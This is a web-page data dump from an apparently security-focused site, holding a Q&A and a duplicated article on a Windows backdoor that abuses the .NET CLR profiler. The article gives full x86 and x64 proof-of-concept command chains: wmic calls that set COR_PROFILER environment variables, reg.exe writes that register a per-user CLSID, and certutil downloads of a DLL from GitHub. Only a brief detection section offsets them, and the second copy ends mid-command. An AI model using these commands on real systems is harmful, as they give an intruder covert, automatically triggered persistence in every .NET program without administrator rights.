[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fZqMBOJ7IRCFmlqesEKtUP5t4GS9gWOY-SEStN1bYP9Y":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},675,"Can the CLR backdoor be triggered automatically without user interaction, and how does it compare to AppDomainManager persistence?","Yes, because the system frequently launches .NET programs (e.g., powershell.exe, managed COM components) as part of normal operation, so the backdoor activates automatically. Unlike the [AppDomainManager technique](\u002Fnews\u002Fuse-appdomainmanager-to-maintain-persistence), which requires admin privileges and targets a specific program, CLR persistence works without admin rights and hijacks all .NET applications.","\u003Cp>Yes, because the system frequently launches .NET programs (e.g., powershell.exe, managed COM components) as part of normal operation, so the backdoor activates automatically. Unlike the [AppDomainManager technique](\u002Fnews\u002Fuse-appdomainmanager-to-maintain-persistence), which requires admin privileges and targets a specific program, CLR persistence works without admin rights and hijacks all .NET applications.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fuse-clr-to-maintain-persistence\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","can-the-clr-backdoor-be-triggered-automatically-without-user-interaction-and-how-1777482334586","CLR persistence, automatic trigger, AppDomainManager comparison, .NET programs, privilege requirement",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},167,"Use CLR to maintain persistence","use-clr-to-maintain-persistence","Learn how to use CLR to maintain persistence without admin privileges, hijack all .NET programs, and develop a backdoor with POC and detection methods.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article 'Use AppDomainManager to maintain persistence', a passive backdoor triggering mechanism implemented through AppDomainManager was introduced, demonstrating how to hijack the system .Net program powershell_ise.exe, but with the prerequisite of obtaining administrator privileges.\u003C\u002Fp>\u003Cp>This time, we will go a step further to introduce a backdoor that does not require administrator privileges and can hijack all .Net programs.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Usage of CLR\u003C\u002Fli>\u003Cli>Backdoor development approach\u003C\u002Fli>\u003Cli>POC writing\u003C\u002Fli>\u003Cli>Backdoor detection\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Usage of CLR\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>CLR:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Common Language Runtime (CLR) is a runtime environment that can be used by multiple programming languages.\u003C\u002Fp>\u003Cp>CLR is the primary execution engine of the .NET Framework, one of its roles is to monitor program execution:\u003C\u002Fp>\u003Cul>\u003Cli>Programs running under CLR supervision are considered 'managed' code.\u003C\u002Fli>\u003Cli>Applications or components that run directly on bare metal without CLR are considered 'unmanaged' code.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Usage of CLR:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Test system: Win8 x86\u003C\u002Fp>\u003Ch3>1. Start cmd\u003C\u002Fh3>\u003Cp>Enter the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>SET COR_ENABLE_PROFILING=1\u003Cbr>SET COR_PROFILER={11111111-1111-1111-1111-111111111111}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>{11111111-1111-1111-1111-111111111111} represents CLSID\u003C\u002Fp>\u003Cp>It can be set to any value, as long as it does not conflict with commonly used system CLSIDs.\u003C\u002Fp>\u003Ch3>2. Test dll\u003C\u002Fh3>\u003Cp>Use a pop-up dll, download address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fraw.githubusercontent.com\u002F某开源项目.dll\u003C\u002Fp>\u003Cp>For DLL development process, refer to:\u003C\u002Fp>\u003Cp>https:\u002F\u002F某开源项目\u002FUse-Office-to-maintain-persistence\u003C\u002Fp>\u003Cp>Direct download can be achieved in cmd with the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll delete\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Operation as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017286409_0_f12107ca36.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>'delete' is to clear the cache of the downloaded file\u003C\u002Fp>\u003Cp>For more details on leveraging certutil.exe for file downloads, refer to the article:\u003C\u002Fp>\u003Cp>\"Certutil.exe in Penetration Testing\"\u003C\u002Fp>\u003Ch3>3、Operate the Registry\u003C\u002Fh3>\u003Cp>Registry path: HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\\u003C\u002Fp>\u003Cp>Create a new subkey {11111111-1111-1111-1111-111111111111}, corresponding to the CLSID entered in cmd in step 1\u003C\u002Fp>\u003Cp>Create new subkey InProcServer32\u003C\u002Fp>\u003Cp>Create new string value REG_SZ ThreadingModel: Apartment\u003C\u002Fp>\u003Cp>Change default path to the path of msg.dll\u003C\u002Fp>\u003Cp>Modified registry as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017317189_1_f0913aa1a5.jpeg\">\u003C\u002Fp>\u003Cp>Corresponding cmd code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServer32\u003Cbr>REG.EXE ADD %KEY% \u002FVE \u002FT REG_SZ \u002FD \"%CD%\\msg.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY% \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>4. Start .NET program in current cmd\u003C\u002Fh3>\u003Cp>For example, powershell.exe, loads msg.dll on startup, pops up a dialog\u003C\u002Fp>\u003Cp>Operation as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017361027_2_f9df4699f8.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Executing powershell.exe from other cmd will not load msg.dll\u003C\u002Fp>\u003Cp>\u003Cstrong>Reason:\u003C\u002Fstrong>\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>SET COR_ENABLE_PROFILING=1\u003Cbr>SET COR_PROFILER={11111111-1111-1111-1111-111111111111}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Only effective for the current cmd, can be checked via the cmd command \"set\"\u003C\u002Fp>\u003Cp>Of course, executing other .NET programs will also load msg.dll\u003C\u002Fp>\u003Cp>Test as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017390275_3_8c2d884ccb.jpeg\">\u003C\u002Fp>\u003Ch2>0x03 Backdoor Development Ideas\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>From the above tests, it is concluded that using CLR can hijack the startup of all .NET programs, but only works for the current cmd\u003C\u002Fp>\u003Cp>Can it be applied globally?\u003C\u002Fp>\u003Cp>Naturally, modifying environment variables comes to mind\u003C\u002Fp>\u003Cp>Typically, modifying environment variables is done through the control panel, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017416105_4_6b47730c22.jpeg\">\u003C\u002Fp>\u003Cp>Can environment variables be modified via the command line?\u003C\u002Fp>\u003Cp>Naturally thought of WMI\u003C\u002Fp>\u003Cp>Modify system variables (requires administrator privileges):\u003C\u002Fp>\u003Cp>wmic ENVIRONMENT create name=\"1\",username=\"\u003Csystem>\",VariableValue=\"1\"\u003C\u002Fsystem>\u003C\u002Fp>\u003Cp>Modify current user variables (current user privileges):\u003C\u002Fp>\u003Cp>wmic ENVIRONMENT create name=\"2\",username=\"%username%\",VariableValue=\"2\"\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Modifying environment variables via WMI requires a system restart or logout\u002Flogin to take effect\u003C\u002Fp>\u003Cp>Next, we need to test whether modifying only the current user privileges can achieve a global effect. The answer is affirmative.\u003C\u002Fp>\u003Cp>Add environment variables for the current user:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wmic ENVIRONMENT create name=\"COR_ENABLE_PROFILING\",username=\"%username%\",VariableValue=\"1\"\u003Cbr>\u003Cbr>wmic ENVIRONMENT create name=\"COR_PROFILER\",username=\"%username%\",VariableValue=\"{11111111-1111-1111-1111-111111111111}\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After restarting, the modification was successful, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017461558_5_529e2caeb9.jpeg\">\u003C\u002Fp>\u003Cp>Now directly start the .Net program, a dialog box pops up, successfully loading msg.dll\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017476966_6_4145ef9143.jpeg\">\u003C\u002Fp>\u003Cp>At this point, the backdoor concept verification is successful\u003C\u002Fp>\u003Ch2>0x04 POC Writing\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>For 32-bit operating systems, refer to the code in 0x03. The x86 POC is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wmic ENVIRONMENT create name=\"COR_ENABLE_PROFILING\",username=\"%username%\",VariableValue=\"1\"\u003Cbr>wmic ENVIRONMENT create name=\"COR_PROFILER\",username=\"%username%\",VariableValue=\"{11111111-1111-1111-1111-111111111111}\"\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll delete\u003Cbr>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServer32\u003Cbr>REG.EXE ADD %KEY% \u002FVE \u002FT REG_SZ \u002FD \"%CD%\\msg.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY% \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For corresponding 64-bit systems, attention must be paid to redirection issues, as the registry has both 32-bit and 64-bit locations\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For more details on redirection in 64-bit systems, refer to the article \"Issues to Note Regarding Redirection When 32-bit Programs Run on 64-bit Systems\"\u003C\u002Fp>\u003Cp>In the context of this article, 32-bit requires a 32-bit DLL, and 64-bit requires a 64-bit DLL.\u003C\u002Fp>\u003Cp>Therefore, a 64-bit DLL needs to be prepared. The download link is as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fraw.githubusercontent.某开源项目.dll\u003C\u002Fp>\u003Cp>The process will not be elaborated further. The 64-bit POC is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wmic ENVIRONMENT create name=\"COR_ENABLE_PROFILING\",username=\"%username%\",VariableValue=\"1\"\u003Cbr>wmic ENVIRONMENT create name=\"COR_PROFILER\",username=\"%username%\",VariableValue=\"{11111111-1111-1111-1111-111111111111}\"\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll delete\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg_x64.dll\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg_x64.dll delete\u003Cbr>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServer32\u003Cbr>REG.EXE ADD %KEY% \u002FVE \u002FT REG_SZ \u002FD \"%CD%\\msg_x64.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY% \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003Cbr>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\WoW6432Node\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServer32\u003Cbr>REG.EXE ADD %KEY% \u002FVE \u002FT REG_SZ \u002FD \"%CD%\\msg.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY% \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Capable of hijacking both 32-bit and 64-bit .Net programs separately, complete test as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017487041_7_b8d488645f.png\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>More code details can be found on GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x05 Backdoor Detection\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Based on the exploitation method, the detection approach is as follows:\u003C\u002Fp>\u003Cul>\u003Cli>Check environment variables COR_ENABLE_PROFILING and COR_PROFILER\u003C\u002Fli>\u003Cli>Check registry key value HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces a backdoor that hijacks .Net programs via CLR, characterized by requiring no administrator privileges and being able to hijack all .Net programs. More importantly, the system defaults to calling .Net programs, causing the backdoor to trigger automatically.\u003C\u002Fp>\u003Ch2>0x07 Supplement (20171023)\u003C\u002Fh2>\u003Cp>Stefan Kanthak discovered this exploitation method and disclosed it earlier than I did. The address is as follows:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fseclists.org\u002Ffulldisclosure\u002F2017\u002FJul\u002F11\u003C\u002Fp>\u003Cp>Moreover, he also achieved UAC bypass using CLR (I later learned this approach from clem@clavoillotte's blog). I have researched this method and written a study summary, with the address as follows:\u003C\u002Fp>\u003Cp>《Use CLR to bypass UAC》\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article 'Use AppDomainManager to maintain persistence', a passive backdoor triggering mechanism implemented through AppDomainManager was introduced, demonstrating how to hijack the system .Net program powershell_ise.exe, but with the prerequisite of obtaining administrator privileges.\u003C\u002Fp>\u003Cp>This time, we will go a step further to introduce a backdoor that does not require administrator privileges and can hijack all .Net programs.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Usage of CLR\u003C\u002Fli>\u003Cli>Backdoor development approach\u003C\u002Fli>\u003Cli>POC writing\u003C\u002Fli>\u003Cli>Backdoor detection\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Usage of CLR\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>CLR:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Common Language Runtime (CLR) is a runtime environment that can be used by multiple programming languages.\u003C\u002Fp>\u003Cp>CLR is the primary execution engine of the .NET Framework, one of its roles is to monitor program execution:\u003C\u002Fp>\u003Cul>\u003Cli>Programs running under CLR supervision are considered 'managed' code.\u003C\u002Fli>\u003Cli>Applications or components that run directly on bare metal without CLR are considered 'unmanaged' code.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Usage of CLR:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Test system: Win8 x86\u003C\u002Fp>\u003Ch3>1. Start cmd\u003C\u002Fh3>\u003Cp>Enter the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>SET COR_ENABLE_PROFILING=1\u003Cbr>SET COR_PROFILER={11111111-1111-1111-1111-111111111111}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>{11111111-1111-1111-1111-111111111111} represents CLSID\u003C\u002Fp>\u003Cp>It can be set to any value, as long as it does not conflict with commonly used system CLSIDs.\u003C\u002Fp>\u003Ch3>2. Test dll\u003C\u002Fh3>\u003Cp>Use a pop-up dll, download address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fraw.githubusercontent.com\u002F某开源项目.dll\u003C\u002Fp>\u003Cp>For DLL development process, refer to:\u003C\u002Fp>\u003Cp>https:\u002F\u002F某开源项目\u002FUse-Office-to-maintain-persistence\u003C\u002Fp>\u003Cp>Direct download can be achieved in cmd with the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll delete\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Operation as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017286409_0_f12107ca36-1.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>'delete' is to clear the cache of the downloaded file\u003C\u002Fp>\u003Cp>For more details on leveraging certutil.exe for file downloads, refer to the article:\u003C\u002Fp>\u003Cp>\"Certutil.exe in Penetration Testing\"\u003C\u002Fp>\u003Ch3>3、Operate the Registry\u003C\u002Fh3>\u003Cp>Registry path: HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\\u003C\u002Fp>\u003Cp>Create a new subkey {11111111-1111-1111-1111-111111111111}, corresponding to the CLSID entered in cmd in step 1\u003C\u002Fp>\u003Cp>Create new subkey InProcServer32\u003C\u002Fp>\u003Cp>Create new string value REG_SZ ThreadingModel: Apartment\u003C\u002Fp>\u003Cp>Change default path to the path of msg.dll\u003C\u002Fp>\u003Cp>Modified registry as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017317189_1_f0913aa1a5-1.jpeg\">\u003C\u002Fp>\u003Cp>Corresponding cmd code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServer32\u003Cbr>REG.EXE ADD %KEY% \u002FVE \u002FT REG_SZ \u002FD \"%CD%\\msg.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY% \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>4. Start .NET program in current cmd\u003C\u002Fh3>\u003Cp>For example, powershell.exe, loads msg.dll on startup, pops up a dialog\u003C\u002Fp>\u003Cp>Operation as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017361027_2_f9df4699f8-1.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Executing powershell.exe from other cmd will not load msg.dll\u003C\u002Fp>\u003Cp>\u003Cstrong>Reason:\u003C\u002Fstrong>\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>SET COR_ENABLE_PROFILING=1\u003Cbr>SET COR_PROFILER={11111111-1111-1111-1111-111111111111}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Only effective for the current cmd, can be checked via the cmd command \"set\"\u003C\u002Fp>\u003Cp>Of course, executing other .NET programs will also load msg.dll\u003C\u002Fp>\u003Cp>Test as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017390275_3_8c2d884ccb-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x03 Backdoor Development Ideas\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>From the above tests, it is concluded that using CLR can hijack the startup of all .NET programs, but only works for the current cmd\u003C\u002Fp>\u003Cp>Can it be applied globally?\u003C\u002Fp>\u003Cp>Naturally, modifying environment variables comes to mind\u003C\u002Fp>\u003Cp>Typically, modifying environment variables is done through the control panel, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017416105_4_6b47730c22-1.jpeg\">\u003C\u002Fp>\u003Cp>Can environment variables be modified via the command line?\u003C\u002Fp>\u003Cp>Naturally thought of WMI\u003C\u002Fp>\u003Cp>Modify system variables (requires administrator privileges):\u003C\u002Fp>\u003Cp>wmic ENVIRONMENT create name=\"1\",username=\"\u003Csystem>\",VariableValue=\"1\"\u003C\u002Fsystem>\u003C\u002Fp>\u003Cp>Modify current user variables (current user privileges):\u003C\u002Fp>\u003Cp>wmic ENVIRONMENT create name=\"2\",username=\"%username%\",VariableValue=\"2\"\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Modifying environment variables via WMI requires a system restart or logout\u002Flogin to take effect\u003C\u002Fp>\u003Cp>Next, we need to test whether modifying only the current user privileges can achieve a global effect. The answer is affirmative.\u003C\u002Fp>\u003Cp>Add environment variables for the current user:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wmic ENVIRONMENT create name=\"COR_ENABLE_PROFILING\",username=\"%username%\",VariableValue=\"1\"\u003Cbr>\u003Cbr>wmic ENVIRONMENT create name=\"COR_PROFILER\",username=\"%username%\",VariableValue=\"{11111111-1111-1111-1111-111111111111}\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After restarting, the modification was successful, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017461558_5_529e2caeb9-1.jpeg\">\u003C\u002Fp>\u003Cp>Now directly start the .Net program, a dialog box pops up, successfully loading msg.dll\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017476966_6_4145ef9143-1.jpeg\">\u003C\u002Fp>\u003Cp>At this point, the backdoor concept verification is successful\u003C\u002Fp>\u003Ch2>0x04 POC Writing\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>For 32-bit operating systems, refer to the code in 0x03. The x86 POC is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wmic ENVIRONMENT create name=\"COR_ENABLE_PROFILING\",username=\"%username%\",VariableValue=\"1\"\u003Cbr>wmic ENVIRONMENT create name=\"COR_PROFILER\",username=\"%username%\",VariableValue=\"{11111111-1111-1111-1111-111111111111}\"\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll delete\u003Cbr>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServer32\u003Cbr>REG.EXE ADD %KEY% \u002FVE \u002FT REG_SZ \u002FD \"%CD%\\msg.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY% \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For corresponding 64-bit systems, attention must be paid to redirection issues, as the registry has both 32-bit and 64-bit locations\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For more details on redirection in 64-bit systems, refer to the article \"Issues to Note Regarding Redirection When 32-bit Programs Run on 64-bit Systems\"\u003C\u002Fp>\u003Cp>In the context of this article, 32-bit requires a 32-bit DLL, and 64-bit requires a 64-bit DLL.\u003C\u002Fp>\u003Cp>Therefore, a 64-bit DLL needs to be prepared. The download link is as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fraw.githubusercontent.某开源项目.dll\u003C\u002Fp>\u003Cp>The process will not be elaborated further. The 64-bit POC is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wmic ENVIRONMENT create name=\"COR_ENABLE_PROFILING\",username=\"%username%\",VariableValue=\"1\"\u003Cbr>wmic ENVIRONMENT create name=\"COR_PROFILER\",username=\"%username%\",VariableValue=\"{11111111-1111-1111-1111-111111111111}\"\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg.dll delete\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg_x64.dll\u003Cbr>certutil.exe -urlcache -split -f https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002Ftest\u002Fmaster\u002Fmsg_x64.dll delete\u003Cbr>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServer32\u003Cbr>REG.EXE ADD %KEY% \u002FVE \u002FT REG_SZ \u002FD \"%CD%\\msg_x64.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY% \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003Cbr>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\WoW6432Node\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServer32\u003Cbr>REG.EXE ADD %KEY% \u002FVE \u002FT REG_SZ \u002FD 